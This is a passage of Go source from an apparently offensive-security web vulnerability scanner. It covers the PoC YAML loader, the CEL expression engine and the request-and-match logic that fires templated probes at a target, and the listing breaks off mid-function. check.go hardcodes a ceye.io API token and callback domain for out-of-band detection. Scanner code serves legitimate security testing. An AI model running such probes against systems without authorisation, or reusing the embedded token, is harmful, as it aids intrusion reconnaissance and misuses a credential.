`yaml:"path"` 370 | Headers map[string]string `yaml:"headers"` 371 | Body string `yaml:"body"` 372 | Search string `yaml:"search"` 373 | FollowRedirects bool `yaml:"follow_redirects"` 374 | Expression string `yaml:"expression"` 375 | } 376 | 377 | type Detail struct { 378 | Author string `yaml:"author"` 379 | Links []string `yaml:"links"` 380 | Description string `yaml:"description"` 381 | Version string `yaml:"version"` 382 | } 383 | 384 | func LoadMultiPoc(Pocs embed.FS, pocname string) []*Poc { 385 | var pocs []*Poc 386 | for _, f := range SelectPoc(Pocs, pocname) { 387 | if p, err := loadPoc(f, Pocs); err == nil { 388 | pocs = append(pocs, p) 389 | } 390 | } 391 | return pocs 392 | } 393 | 394 | func loadPoc(fileName string, Pocs embed.FS) (*Poc, error) { 395 | p := &Poc{} 396 | yamlFile, err := Pocs.ReadFile("pocs/" + fileName) 397 | 398 | if err != nil { 399 | return nil, err 400 | } 401 | err = yaml.Unmarshal(yamlFile, p) 402 | if err != nil { 403 | return nil, err 404 | } 405 | return p, err 406 | } 407 | 408 | func SelectPoc(Pocs embed.FS, pocname string) []string { 409 | entries, err := Pocs.ReadDir("pocs") 410 | if err != nil { 411 | fmt.Println(err) 412 | } 413 | var foundFiles []string 414 | for _, entry := range entries { 415 | if strings.Contains(entry.Name(), pocname) { 416 | foundFiles = append(foundFiles, entry.Name()) 417 | } 418 | } 419 | return foundFiles 420 | } -------------------------------------------------------------------------------- /webscan/lib/eval.go: -------------------------------------------------------------------------------- 1 | package lib 2 | 3 | import ( 4 | "bytes" 5 | "compress/gzip" 6 | "crypto/md5" 7 | "encoding/base64" 8 | "fmt" 9 | "github.com/google/cel-go/cel" 10 | "github.com/google/cel-go/checker/decls" 11 | "github.com/google/cel-go/common/types" 12 | "github.com/google/cel-go/common/types/ref" 13 | "github.com/google/cel-go/interpreter/functions" 14 | exprpb "google.golang.org/genproto/googleapis/api/expr/v1alpha1" 15 | "io" 16 | "io/ioutil" 17 | "math/rand" 18 | "net/http" 19 | "net/url" 20 | "regexp" 21 | "strconv" 22 | "strings" 23 | "time" 24 | ) 25 | 26 | func NewEnv(c *CustomLib) (*cel.Env, error) { 27 | return cel.NewEnv(cel.Lib(c)) 28 | } 29 | 30 | func Evaluate(env *cel.Env, expression string, params map[string]interface{}) (ref.Val, error) { 31 | ast, iss := env.Compile(expression) 32 | if iss.Err() != nil { 33 | //fmt.Printf("compile: ", iss.Err()) 34 | return nil, iss.Err() 35 | } 36 | 37 | prg, err := env.Program(ast) 38 | if err != nil { 39 | //fmt.Printf("Program creation error: %v", err) 40 | return nil, err 41 | } 42 | 43 | out, _, err := prg.Eval(params) 44 | if err != nil { 45 | //fmt.Printf("Evaluation error: %v", err) 46 | return nil, err 47 | } 48 | return out, nil 49 | } 50 | 51 | func UrlTypeToString(u *UrlType) string { 52 | var buf strings.Builder 53 | if u.Scheme != "" { 54 | buf.WriteString(u.Scheme) 55 | buf.WriteByte(':') 56 | } 57 | if u.Scheme != "" || u.Host != "" { 58 | if u.Host != "" || u.Path != "" { 59 | buf.WriteString("//") 60 | } 61 | if h := u.Host; h != "" { 62 | buf.WriteString(u.Host) 63 | } 64 | } 65 | path := u.Path 66 | if path != "" && path[0] != '/' && u.Host != "" { 67 | buf.WriteByte('/') 68 | } 69 | if buf.Len() == 0 { 70 | if i := strings.IndexByte(path, ':'); i > -1 && strings.IndexByte(path[:i], '/') == -1 { 71 | buf.WriteString("./") 72 | } 73 | } 74 | buf.WriteString(path) 75 | 76 | if u.Query != "" { 77 | buf.WriteByte('?') 78 | buf.WriteString(u.Query) 79 | } 80 | if u.Fragment != "" { 81 | buf.WriteByte('#') 82 | buf.WriteString(u.Fragment) 83 | } 84 | return buf.String() 85 | } 86 | 87 | type CustomLib struct { 88 | envOptions []cel.EnvOption 89 | programOptions []cel.ProgramOption 90 | } 91 | 92 | func NewEnvOption() CustomLib { 93 | c := CustomLib{} 94 | 95 | c.envOptions = []cel.EnvOption{ 96 | cel.Container("lib"), 97 | cel.Types( 98 | &UrlType{}, 99 | &Request{}, 100 | &Response{}, 101 | &Reverse{}, 102 | ), 103 | cel.Declarations( 104 | decls.NewIdent("request", decls.NewObjectType("lib.Request"), nil), 105 | decls.NewIdent("response", decls.NewObjectType("lib.Response"), nil), 106 | //decls.NewIdent("reverse", decls.NewObjectType("lib.Reverse"), nil), 107 | ), 108 | cel.Declarations( 109 | // functions 110 | decls.NewFunction("bcontains", 111 | decls.NewInstanceOverload("bytes_bcontains_bytes", 112 | []*exprpb.Type{decls.Bytes, decls.Bytes}, 113 | decls.Bool)), 114 | decls.NewFunction("bmatches", 115 | decls.NewInstanceOverload("string_bmatches_bytes", 116 | []*exprpb.Type{decls.String, decls.Bytes}, 117 | decls.Bool)), 118 | decls.NewFunction("md5", 119 | decls.NewOverload("md5_string", 120 | []*exprpb.Type{decls.String}, 121 | decls.String)), 122 | decls.NewFunction("randomInt", 123 | decls.NewOverload("randomInt_int_int", 124 | []*exprpb.Type{decls.Int, decls.Int}, 125 | decls.Int)), 126 | decls.NewFunction("randomLowercase", 127 | decls.NewOverload("randomLowercase_int", 128 | []*exprpb.Type{decls.Int}, 129 | decls.String)), 130 | decls.NewFunction("randomUppercase", 131 | decls.NewOverload("randomUppercase_int", 132 | []*exprpb.Type{decls.Int}, 133 | decls.String)), 134 | decls.NewFunction("base64", 135 | decls.NewOverload("base64_string", 136 | []*exprpb.Type{decls.String}, 137 | decls.String)), 138 | decls.NewFunction("base64", 139 | decls.NewOverload("base64_bytes", 140 | []*exprpb.Type{decls.Bytes}, 141 | decls.String)), 142 | decls.NewFunction("base64Decode", 143 | decls.NewOverload("base64Decode_string", 144 | []*exprpb.Type{decls.String}, 145 | decls.String)), 146 | decls.NewFunction("base64Decode", 147 | decls.NewOverload("base64Decode_bytes", 148 | []*exprpb.Type{decls.Bytes}, 149 | decls.String)), 150 | decls.NewFunction("urlencode", 151 | decls.NewOverload("urlencode_string", 152 | []*exprpb.Type{decls.String}, 153 | decls.String)), 154 | decls.NewFunction("urlencode", 155 | decls.NewOverload("urlencode_bytes", 156 | []*exprpb.Type{decls.Bytes}, 157 | decls.String)), 158 | decls.NewFunction("urldecode", 159 | decls.NewOverload("urldecode_string", 160 | []*exprpb.Type{decls.String}, 161 | decls.String)), 162 | decls.NewFunction("urldecode", 163 | decls.NewOverload("urldecode_bytes", 164 | []*exprpb.Type{decls.Bytes}, 165 | decls.String)), 166 | decls.NewFunction("substr", 167 | decls.NewOverload("substr_string_int_int", 168 | []*exprpb.Type{decls.String, decls.Int, decls.Int}, 169 | decls.String)), 170 | decls.NewFunction("wait", 171 | decls.NewInstanceOverload("reverse_wait_int", 172 | []*exprpb.Type{decls.Any, decls.Int}, 173 | decls.Bool)), 174 | decls.NewFunction("icontains", 175 | decls.NewInstanceOverload("icontains_string", 176 | []*exprpb.Type{decls.String, decls.String}, 177 | decls.Bool)), 178 | ), 179 | } 180 | c.programOptions = []cel.ProgramOption{ 181 | cel.Functions( 182 | &functions.Overload{ 183 | Operator: "bytes_bcontains_bytes", 184 | Binary: func(lhs ref.Val, rhs ref.Val) ref.Val { 185 | v1, ok := lhs.(types.Bytes) 186 | if !ok { 187 | return types.ValOrErr(lhs, "unexpected type '%v' passed to bcontains", lhs.Type()) 188 | } 189 | v2, ok := rhs.(types.Bytes) 190 | if !ok { 191 | return types.ValOrErr(rhs, "unexpected type '%v' passed to bcontains", rhs.Type()) 192 | } 193 | return types.Bool(bytes.Contains(v1, v2)) 194 | }, 195 | }, 196 | &functions.Overload{ 197 | Operator: "string_bmatches_bytes", 198 | Binary: func(lhs ref.Val, rhs ref.Val) ref.Val { 199 | v1, ok := lhs.(types.String) 200 | if !ok { 201 | return types.ValOrErr(lhs, "unexpected type '%v' passed to bmatch", lhs.Type()) 202 | } 203 | v2, ok := rhs.(types.Bytes) 204 | if !ok { 205 | return types.ValOrErr(rhs, "unexpected type '%v' passed to bmatch", rhs.Type()) 206 | } 207 | ok, err := regexp.Match(string(v1), v2) 208 | if err != nil { 209 | return types.NewErr("%v", err) 210 | } 211 | return types.Bool(ok) 212 | }, 213 | }, 214 | &functions.Overload{ 215 | Operator: "md5_string", 216 | Unary: func(value ref.Val) ref.Val { 217 | v, ok := value.(types.String) 218 | if !ok { 219 | return types.ValOrErr(value, "unexpected type '%v' passed to md5_string", value.Type()) 220 | } 221 | return types.String(fmt.Sprintf("%x", md5.Sum([]byte(v)))) 222 | }, 223 | }, 224 | &functions.Overload{ 225 | Operator: "randomInt_int_int", 226 | Binary: func(lhs ref.Val, rhs ref.Val) ref.Val { 227 | from, ok := lhs.(types.Int) 228 | if !ok { 229 | return types.ValOrErr(lhs, "unexpected type '%v' passed to randomInt", lhs.Type()) 230 | } 231 | to, ok := rhs.(types.Int) 232 | if !ok { 233 | return types.ValOrErr(rhs, "unexpected type '%v' passed to randomInt", rhs.Type()) 234 | } 235 | min, max := int(from), int(to) 236 | return types.Int(rand.Intn(max-min) + min) 237 | }, 238 | }, 239 | &functions.Overload{ 240 | Operator: "randomLowercase_int", 241 | Unary: func(value ref.Val) ref.Val { 242 | n, ok := value.(types.Int) 243 | if !ok { 244 | return types.ValOrErr(value, "unexpected type '%v' passed to randomLowercase", value.Type()) 245 | } 246 | return types.String(randomLowercase(int(n))) 247 | }, 248 | }, 249 | &functions.Overload{ 250 | Operator: "randomUppercase_int", 251 | Unary: func(value ref.Val) ref.Val { 252 | n, ok := value.(types.Int) 253 | if !ok { 254 | return types.ValOrErr(value, "unexpected type '%v' passed to randomUppercase", value.Type()) 255 | } 256 | return types.String(randomUppercase(int(n))) 257 | }, 258 | }, 259 | &functions.Overload{ 260 | Operator: "base64_string", 261 | Unary: func(value ref.Val) ref.Val { 262 | v, ok := value.(types.String) 263 | if !ok { 264 | return types.ValOrErr(value, "unexpected type '%v' passed to base64_string", value.Type()) 265 | } 266 | return types.String(base64.StdEncoding.EncodeToString([]byte(v))) 267 | }, 268 | }, 269 | &functions.Overload{ 270 | Operator: "base64_bytes", 271 | Unary: func(value ref.Val) ref.Val { 272 | v, ok := value.(types.Bytes) 273 | if !ok { 274 | return types.ValOrErr(value, "unexpected type '%v' passed to base64_bytes", value.Type()) 275 | } 276 | return types.String(base64.StdEncoding.EncodeToString(v)) 277 | }, 278 | }, 279 | &functions.Overload{ 280 | Operator: "base64Decode_string", 281 | Unary: func(value ref.Val) ref.Val { 282 | v, ok := value.(types.String) 283 | if !ok { 284 | return types.ValOrErr(value, "unexpected type '%v' passed to base64Decode_string", value.Type()) 285 | } 286 | decodeBytes, err := base64.StdEncoding.DecodeString(string(v)) 287 | if err != nil { 288 | return types.NewErr("%v", err) 289 | } 290 | return types.String(decodeBytes) 291 | }, 292 | }, 293 | &functions.Overload{ 294 | Operator: "base64Decode_bytes", 295 | Unary: func(value ref.Val) ref.Val { 296 | v, ok := value.(types.Bytes) 297 | if !ok { 298 | return types.ValOrErr(value, "unexpected type '%v' passed to base64Decode_bytes", value.Type()) 299 | } 300 | decodeBytes, err := base64.StdEncoding.DecodeString(string(v)) 301 | if err != nil { 302 | return types.NewErr("%v", err) 303 | } 304 | return types.String(decodeBytes) 305 | }, 306 | }, 307 | &functions.Overload{ 308 | Operator: "urlencode_string", 309 | Unary: func(value ref.Val) ref.Val { 310 | v, ok := value.(types.String) 311 | if !ok { 312 | return types.ValOrErr(value, "unexpected type '%v' passed to urlencode_string", value.Type()) 313 | } 314 | return types.String(url.QueryEscape(string(v))) 315 | }, 316 | }, 317 | &functions.Overload{ 318 | Operator: "urlencode_bytes", 319 | Unary: func(value ref.Val) ref.Val { 320 | v, ok := value.(types.Bytes) 321 | if !ok { 322 | return types.ValOrErr(value, "unexpected type '%v' passed to urlencode_bytes", value.Type()) 323 | } 324 | return types.String(url.QueryEscape(string(v))) 325 | }, 326 | }, 327 | &functions.Overload{ 328 | Operator: "urldecode_string", 329 | Unary: func(value ref.Val) ref.Val { 330 | v, ok := value.(types.String) 331 | if !ok { 332 | return types.ValOrErr(value, "unexpected type '%v' passed to urldecode_string", value.Type()) 333 | } 334 | decodeString, err := url.QueryUnescape(string(v)) 335 | if err != nil { 336 | return types.NewErr("%v", err) 337 | } 338 | return types.String(decodeString) 339 | }, 340 | }, 341 | &functions.Overload{ 342 | Operator: "urldecode_bytes", 343 | Unary: func(value ref.Val) ref.Val { 344 | v, ok := value.(types.Bytes) 345 | if !ok { 346 | return types.ValOrErr(value, "unexpected type '%v' passed to urldecode_bytes", value.Type()) 347 | } 348 | decodeString, err := url.QueryUnescape(string(v)) 349 | if err != nil { 350 | return types.NewErr("%v", err) 351 | } 352 | return types.String(decodeString) 353 | }, 354 | }, 355 | &functions.Overload{ 356 | Operator: "substr_string_int_int", 357 | Function: func(values ...ref.Val) ref.Val { 358 | if len(values) == 3 { 359 | str, ok := values[0].(types.String) 360 | if !ok { 361 | return types.NewErr("invalid string to 'substr'") 362 | } 363 | start, ok := values[1].(types.Int) 364 | if !ok { 365 | return types.NewErr("invalid start to 'substr'") 366 | } 367 | length, ok := values[2].(types.Int) 368 | if !ok { 369 | return types.NewErr("invalid length to 'substr'") 370 | } 371 | runes := []rune(str) 372 | if start < 0 || length < 0 || int(start+length) > len(runes) { 373 | return types.NewErr("invalid start or length to 'substr'") 374 | } 375 | return types.String(runes[start : start+length]) 376 | } else { 377 | return types.NewErr("too many arguments to 'substr'") 378 | } 379 | }, 380 | }, 381 | &functions.Overload{ 382 | Operator: "reverse_wait_int", 383 | Binary: func(lhs ref.Val, rhs ref.Val) ref.Val { 384 | reverse, ok := lhs.Value().(*Reverse) 385 | if !ok { 386 | return types.ValOrErr(lhs, "unexpected type '%v' passed to 'wait'", lhs.Type()) 387 | } 388 | timeout, ok := rhs.Value().(int64) 389 | if !ok { 390 | return types.ValOrErr(rhs, "unexpected type '%v' passed to 'wait'", rhs.Type()) 391 | } 392 | return types.Bool(reverseCheck(reverse, timeout)) 393 | }, 394 | }, 395 | &functions.Overload{ 396 | Operator: "icontains_string", 397 | Binary: func(lhs ref.Val, rhs ref.Val) ref.Val { 398 | v1, ok := lhs.(types.String) 399 | if !ok { 400 | return types.ValOrErr(lhs, "unexpected type '%v' passed to bcontains", lhs.Type()) 401 | } 402 | v2, ok := rhs.(types.String) 403 | if !ok { 404 | return types.ValOrErr(rhs, "unexpected type '%v' passed to bcontains", rhs.Type()) 405 | } 406 | // 不区分大小写包含 407 | return types.Bool(strings.Contains(strings.ToLower(string(v1)), strings.ToLower(string(v2)))) 408 | }, 409 | }, 410 | ), 411 | } 412 | return c 413 | } 414 | 415 | // 声明环境中的变量类型和函数 416 | func (c *CustomLib) CompileOptions() []cel.EnvOption { 417 | return c.envOptions 418 | } 419 | 420 | func (c *CustomLib) ProgramOptions() []cel.ProgramOption { 421 | return c.programOptions 422 | } 423 | 424 | func (c *CustomLib) UpdateCompileOptions(args map[string]string) { 425 | for k, v := range args { 426 | // 在执行之前是不知道变量的类型的,所以统一声明为字符型 427 | // 所以randomInt虽然返回的是int型,在运算中却被当作字符型进行计算,需要重载string_*_string 428 | var d *exprpb.Decl 429 | if strings.HasPrefix(v, "randomInt") { 430 | d = decls.NewIdent(k, decls.Int, nil) 431 | } else if strings.HasPrefix(v, "newReverse") { 432 | d = decls.NewIdent(k, decls.NewObjectType("lib.Reverse"), nil) 433 | } else { 434 | d = decls.NewIdent(k, decls.String, nil) 435 | } 436 | c.envOptions = append(c.envOptions, cel.Declarations(d)) 437 | } 438 | } 439 | 440 | var randSource = rand.New(rand.NewSource(time.Now().Unix())) 441 | 442 | func randomLowercase(n int) string { 443 | lowercase := "abcdefghijklmnopqrstuvwxyz" 444 | return RandomStr(randSource, lowercase, n) 445 | } 446 | 447 | func randomUppercase(n int) string { 448 | lowercase := "ABCDEFGHIJKLMNOPQRSTUVWXYZ" 449 | return RandomStr(randSource, lowercase, n) 450 | } 451 | 452 | func reverseCheck(r *Reverse, timeout int64) bool { 453 | if ceyeApi == "" || r.Domain == "" { 454 | return false 455 | } 456 | time.Sleep(time.Second * time.Duration(timeout)) 457 | sub := strings.Split(r.Domain, ".")[0] 458 | urlStr := fmt.Sprintf("http://api.ceye.io/v1/records?token=%s&type=dns&filter=%s", ceyeApi, sub) 459 | fmt.Println(urlStr) 460 | req, _ := http.NewRequest("GET", urlStr, nil) 461 | resp, err := DoRequest(req, false) 462 | if err != nil { 463 | return false 464 | } 465 | 466 | if !bytes.Contains(resp.Body, []byte(`"data": []`)) && bytes.Contains(resp.Body, []byte(`"message": "OK"`)) { // api返回结果不为空 467 | return true 468 | } 469 | return false 470 | } 471 | 472 | func RandomStr(randSource *rand.Rand, letterBytes string, n int) string { 473 | const ( 474 | letterIdxBits = 6 // 6 bits to represent a letter index 475 | letterIdxMask = 1<= 0; { 481 | if remain == 0 { 482 | cache, remain = randSource.Int63(), letterIdxMax 483 | } 484 | if idx := int(cache & letterIdxMask); idx < len(letterBytes) { 485 | randBytes[i] = letterBytes[idx] 486 | i-- 487 | } 488 | cache >>= letterIdxBits 489 | remain-- 490 | } 491 | return string(randBytes) 492 | } 493 | 494 | func DoRequest(req *http.Request, redirect bool) (*Response, error) { 495 | if req.Body == nil || req.Body == http.NoBody { 496 | } else { 497 | req.Header.Set("Content-Length", strconv.Itoa(int(req.ContentLength))) 498 | if req.Header.Get("Content-Type") == "" { 499 | req.Header.Set("Content-Type", "application/x-www-form-urlencoded") 500 | } 501 | } 502 | 503 | var oResp *http.Response 504 | var err error 505 | if redirect { 506 | oResp, err = Client.Do(req) 507 | } else { 508 | oResp, err = ClientNoRedirect.Do(req) 509 | } 510 | if err != nil { 511 | return nil, err 512 | } 513 | defer oResp.Body.Close() 514 | resp, err := ParseResponse(oResp) 515 | if err != nil { 516 | return nil, err 517 | } 518 | return resp, err 519 | } 520 | 521 | func ParseUrl(u *url.URL) *UrlType { 522 | nu := &UrlType{} 523 | nu.Scheme = u.Scheme 524 | nu.Domain = u.Hostname() 525 | nu.Host = u.Host 526 | nu.Port = u.Port() 527 | nu.Path = u.EscapedPath() 528 | nu.Query = u.RawQuery 529 | nu.Fragment = u.Fragment 530 | return nu 531 | } 532 | 533 | func ParseRequest(oReq *http.Request) (*Request, error) { 534 | req := &Request{} 535 | req.Method = oReq.Method 536 | req.Url = ParseUrl(oReq.URL) 537 | header := make(map[string]string) 538 | for k := range oReq.Header { 539 | header[k] = oReq.Header.Get(k) 540 | } 541 | req.Headers = header 542 | req.ContentType = oReq.Header.Get("Content-Type") 543 | if oReq.Body == nil || oReq.Body == http.NoBody { 544 | } else { 545 | data, err := ioutil.ReadAll(oReq.Body) 546 | if err != nil { 547 | return nil, err 548 | } 549 | req.Body = data 550 | oReq.Body = ioutil.NopCloser(bytes.NewBuffer(data)) 551 | } 552 | return req, nil 553 | } 554 | 555 | func ParseResponse(oResp *http.Response) (*Response, error) { 556 | var resp Response 557 | header := make(map[string]string) 558 | resp.Status = int32(oResp.StatusCode) 559 | resp.Url = ParseUrl(oResp.Request.URL) 560 | for k := range oResp.Header { 561 | header[k] = oResp.Header.Get(k) 562 | } 563 | resp.Headers = header 564 | resp.ContentType = oResp.Header.Get("Content-Type") 565 | body, err := getRespBody(oResp) 566 | if err != nil { 567 | return nil, err 568 | } 569 | resp.Body = body 570 | return &resp, nil 571 | } 572 | 573 | func getRespBody(oResp *http.Response) ([]byte, error) { 574 | var body []byte 575 | if oResp.Header.Get("Content-Encoding") == "gzip" { 576 | gr, err := gzip.NewReader(oResp.Body) 577 | if err != nil { 578 | return nil, err 579 | } 580 | defer gr.Close() 581 | for { 582 | buf := make([]byte, 1024) 583 | n, err := gr.Read(buf) 584 | if err != nil && err != io.EOF { 585 | //utils.Logger.Error(err) 586 | return nil, err 587 | } 588 | if n == 0 { 589 | break 590 | } 591 | body = append(body, buf...) 592 | } 593 | } else { 594 | raw, err := ioutil.ReadAll(oResp.Body) 595 | if err != nil { 596 | //utils.Logger.Error(err) 597 | return nil, err 598 | } 599 | defer oResp.Body.Close() 600 | body = raw 601 | } 602 | return body, nil 603 | } -------------------------------------------------------------------------------- /webscan/lib/check.go: -------------------------------------------------------------------------------- 1 | package lib 2 | 3 | import ( 4 | "FscanX/webscan/lib/info" 5 | "embed" 6 | "fmt" 7 | "github.com/google/cel-go/cel" 8 | "math/rand" 9 | "net/http" 10 | "net/url" 11 | "regexp" 12 | "sort" 13 | "strings" 14 | "sync" 15 | "time" 16 | ) 17 | 18 | var ( 19 | ceyeApi = "a78a1cb49d91fe09e01876078d1868b2" 20 | ceyeDomain = "7wtusr.ceye.io" 21 | ) 22 | 23 | type Task struct { 24 | Req *http.Request 25 | Poc *Poc 26 | } 27 | 28 | func CheckMultiPoc(req *http.Request, Pocs embed.FS, workers int, pocname string) { 29 | tasks := make(chan Task) 30 | var wg sync.WaitGroup 31 | for i := 0; i < workers; i++ { 32 | go func() { 33 | for task := range tasks { 34 | isVul, _ := executePoc(task.Req, task.Poc) 35 | if isVul { 36 | result := fmt.Sprintf("[+] %s %s", task.Req.URL, task.Poc.Name) 37 | fmt.Println(result) 38 | } 39 | wg.Done() 40 | } 41 | }() 42 | } 43 | for _, poc := range LoadMultiPoc(Pocs, pocname) { 44 | task := Task{ 45 | Req: req, 46 | Poc: poc, 47 | } 48 | wg.Add(1) 49 | tasks <- task 50 | } 51 | wg.Wait() 52 | close(tasks) 53 | } 54 | 55 | func executePoc(oReq *http.Request, p *Poc) (bool, error) { 56 | c := NewEnvOption() 57 | c.UpdateCompileOptions(p.Set) 58 | if len(p.Sets) > 0 { 59 | setMap := make(map[string]string) 60 | for k := range p.Sets { 61 | setMap[k] = p.Sets[k][0] 62 | } 63 | c.UpdateCompileOptions(setMap) 64 | } 65 | env, err := NewEnv(&c) 66 | if err != nil { 67 | //fmt.Printf("environment creation error: %s\n", err) 68 | return false, err 69 | } 70 | req, err := ParseRequest(oReq) 71 | if err != nil { 72 | //fmt.Println("ParseRequest error",err) 73 | return false, err 74 | } 75 | variableMap := make(map[string]interface{}) 76 | variableMap["request"] = req 77 | 78 | // 现在假定set中payload作为最后产出,那么先排序解析其他的自定义变量,更新map[string]interface{}后再来解析payload 79 | keys := make([]string, 0) 80 | keys1 := make([]string, 0) 81 | for k := range p.Set { 82 | if strings.Contains(strings.ToLower(p.Set[k]), "random") && strings.Contains(strings.ToLower(p.Set[k]), "(") { 83 | keys = append(keys, k) //优先放入调用random系列函数的变量 84 | } else { 85 | keys1 = append(keys1, k) 86 | } 87 | } 88 | sort.Strings(keys) 89 | sort.Strings(keys1) 90 | keys = append(keys, keys1...) 91 | for _, k := range keys { 92 | expression := p.Set[k] 93 | if k != "payload" { 94 | if expression == "newReverse()" { 95 | variableMap[k] = newReverse() 96 | continue 97 | } 98 | out, err := Evaluate(env, expression, variableMap) 99 | if err != nil { 100 | //fmt.Println(p.Name," poc_expression error",err) 101 | variableMap[k] = expression 102 | continue 103 | } 104 | switch value := out.Value().(type) { 105 | case *UrlType: 106 | variableMap[k] = UrlTypeToString(value) 107 | case int64: 108 | variableMap[k] = int(value) 109 | case []uint8: 110 | variableMap[k] = fmt.Sprintf("%s", out) 111 | default: 112 | variableMap[k] = fmt.Sprintf("%v", out) 113 | } 114 | } 115 | } 116 | 117 | if p.Set["payload"] != "" { 118 | out, err := Evaluate(env, p.Set["payload"], variableMap) 119 | if err != nil { 120 | //fmt.Println(p.Name," poc_payload error",err) 121 | return false, err 122 | } 123 | variableMap["payload"] = fmt.Sprintf("%v", out) 124 | } 125 | 126 | setslen := 0 127 | haspayload := false 128 | var setskeys []string 129 | if len(p.Sets) > 0 { 130 | for _, rule := range p.Rules { 131 | for k := range p.Sets { 132 | if strings.Contains(rule.Body, "{{"+k+"}}") || strings.Contains(rule.Path, "{{"+k+"}}") { 133 | if strings.Contains(k, "payload") { 134 | haspayload = true 135 | } 136 | setslen++ 137 | setskeys = append(setskeys, k) 138 | continue 139 | } 140 | for k2 := range rule.Headers { 141 | if strings.Contains(rule.Headers[k2], "{{"+k+"}}") { 142 | if strings.Contains(k, "payload") { 143 | haspayload = true 144 | } 145 | setslen++ 146 | setskeys = append(setskeys, k) 147 | continue 148 | } 149 | } 150 | } 151 | } 152 | } 153 | 154 | success := false 155 | if setslen > 0 { 156 | if haspayload { 157 | success, err = clusterpoc1(oReq, p, variableMap, req, env, setskeys) 158 | } else { 159 | success, err = clusterpoc(oReq, p, variableMap, req, env, setslen, setskeys) 160 | } 161 | } else { 162 | for _, rule := range p.Rules { 163 | for k1, v1 := range variableMap { 164 | _, isMap := v1.(map[string]string) 165 | if isMap { 166 | continue 167 | } 168 | value := fmt.Sprintf("%v", v1) 169 | for k2, v2 := range rule.Headers { 170 | rule.Headers[k2] = strings.ReplaceAll(v2, "{{"+k1+"}}", value) 171 | } 172 | rule.Path = strings.ReplaceAll(strings.TrimSpace(rule.Path), "{{"+k1+"}}", value) 173 | rule.Body = strings.ReplaceAll(strings.TrimSpace(rule.Body), "{{"+k1+"}}", value) 174 | } 175 | 176 | if oReq.URL.Path != "" && oReq.URL.Path != "/" { 177 | req.Url.Path = fmt.Sprint(oReq.URL.Path, rule.Path) 178 | } else { 179 | req.Url.Path = rule.Path 180 | } 181 | // 某些poc没有区分path和query,需要处理 182 | req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20") 183 | req.Url.Path = strings.ReplaceAll(req.Url.Path, "+", "%20") 184 | 185 | newRequest, _ := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path), strings.NewReader(rule.Body)) 186 | newRequest.Header = oReq.Header.Clone() 187 | for k, v := range rule.Headers { 188 | newRequest.Header.Set(k, v) 189 | } 190 | 191 | resp, err := DoRequest(newRequest, rule.FollowRedirects) 192 | if err != nil { 193 | return false, err 194 | } 195 | variableMap["response"] = resp 196 | // 先判断响应页面是否匹配search规则 197 | if rule.Search != "" { 198 | result := doSearch(strings.TrimSpace(rule.Search), string(resp.Body)) 199 | if result != nil && len(result) > 0 { // 正则匹配成功 200 | for k, v := range result { 201 | variableMap[k] = v 202 | } 203 | //return false, nil 204 | } else { 205 | return false, nil 206 | } 207 | } 208 | out, err := Evaluate(env, rule.Expression, variableMap) 209 | if err != nil { 210 | return false, err 211 | } 212 | //fmt.Println(fmt.Sprintf("%v, %s", out, out.Type().TypeName())) 213 | if fmt.Sprintf("%v", out) == "false" { //如果false不继续执行后续rule 214 | success = false // 如果最后一步执行失败,就算前面成功了最终依旧是失败 215 | break 216 | } 217 | success = true 218 | } 219 | } 220 | return success, nil 221 | } 222 | 223 | func doSearch(re string, body string) map[string]string { 224 | r, err := regexp.Compile(re) 225 | if err != nil { 226 | return nil 227 | } 228 | result := r.FindStringSubmatch(body) 229 | names := r.SubexpNames() 230 | if len(result) > 1 && len(names) > 1 { 231 | paramsMap := make(map[string]string) 232 | for i, name := range names { 233 | if i > 0 && i <= len(result) { 234 | paramsMap[name] = result[i] 235 | } 236 | } 237 | return paramsMap 238 | } 239 | return nil 240 | } 241 | 242 | func newReverse() *Reverse { 243 | letters := "1234567890abcdefghijklmnopqrstuvwxyz" 244 | randSource := rand.New(rand.NewSource(time.Now().Unix())) 245 | sub := RandomStr(randSource, letters, 8) 246 | if true { 247 | //默认不开启dns解析 248 | return &Reverse{} 249 | } 250 | urlStr := fmt.Sprintf("http://%s.%s", sub, ceyeDomain) 251 | u, _ := url.Parse(urlStr) 252 | return &Reverse{ 253 | Url: ParseUrl(u), 254 | Domain: u.Hostname(), 255 | Ip: "", 256 | IsDomainNameServer: false, 257 | } 258 | } 259 | 260 | func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, env *cel.Env, slen int, keys []string) (success bool, err error) { 261 | for _, rule := range p.Rules { 262 | for k1, v1 := range variableMap { 263 | if IsContain(keys, k1) { 264 | continue 265 | } 266 | _, isMap := v1.(map[string]string) 267 | if isMap { 268 | continue 269 | } 270 | value := fmt.Sprintf("%v", v1) 271 | for k2, v2 := range rule.Headers { 272 | rule.Headers[k2] = strings.ReplaceAll(v2, "{{"+k1+"}}", value) 273 | } 274 | rule.Path = strings.ReplaceAll(strings.TrimSpace(rule.Path), "{{"+k1+"}}", value) 275 | rule.Body = strings.ReplaceAll(strings.TrimSpace(rule.Body), "{{"+k1+"}}", value) 276 | } 277 | 278 | n := 0 279 | for k := range p.Sets { 280 | if strings.Contains(rule.Body, "{{"+k+"}}") || strings.Contains(rule.Path, "{{"+k+"}}") { 281 | n++ 282 | continue 283 | } 284 | for k2 := range rule.Headers { 285 | if strings.Contains(rule.Headers[k2], "{{"+k+"}}") { 286 | n++ 287 | continue 288 | } 289 | } 290 | } 291 | if n == 0 { 292 | success, err = clustersend(oReq, variableMap, req, env, rule) 293 | if err != nil { 294 | return false, err 295 | } 296 | if success == false { 297 | break 298 | } 299 | } 300 | 301 | if slen == 1 { 302 | look1: 303 | for _, var1 := range p.Sets[keys[0]] { 304 | rule1 := cloneRules(rule) 305 | for k2, v2 := range rule1.Headers { 306 | rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+keys[0]+"}}", var1) 307 | } 308 | rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[0]+"}}", var1) 309 | rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[0]+"}}", var1) 310 | success, err = clustersend(oReq, variableMap, req, env, rule) 311 | if err != nil { 312 | return false, err 313 | } 314 | if success == true { 315 | break look1 316 | } 317 | } 318 | if success == false { 319 | break 320 | } 321 | } 322 | 323 | if slen == 2 { 324 | look2: 325 | for _, var1 := range p.Sets[keys[0]] { 326 | for _, var2 := range p.Sets[keys[1]] { 327 | rule1 := cloneRules(rule) 328 | for k2, v2 := range 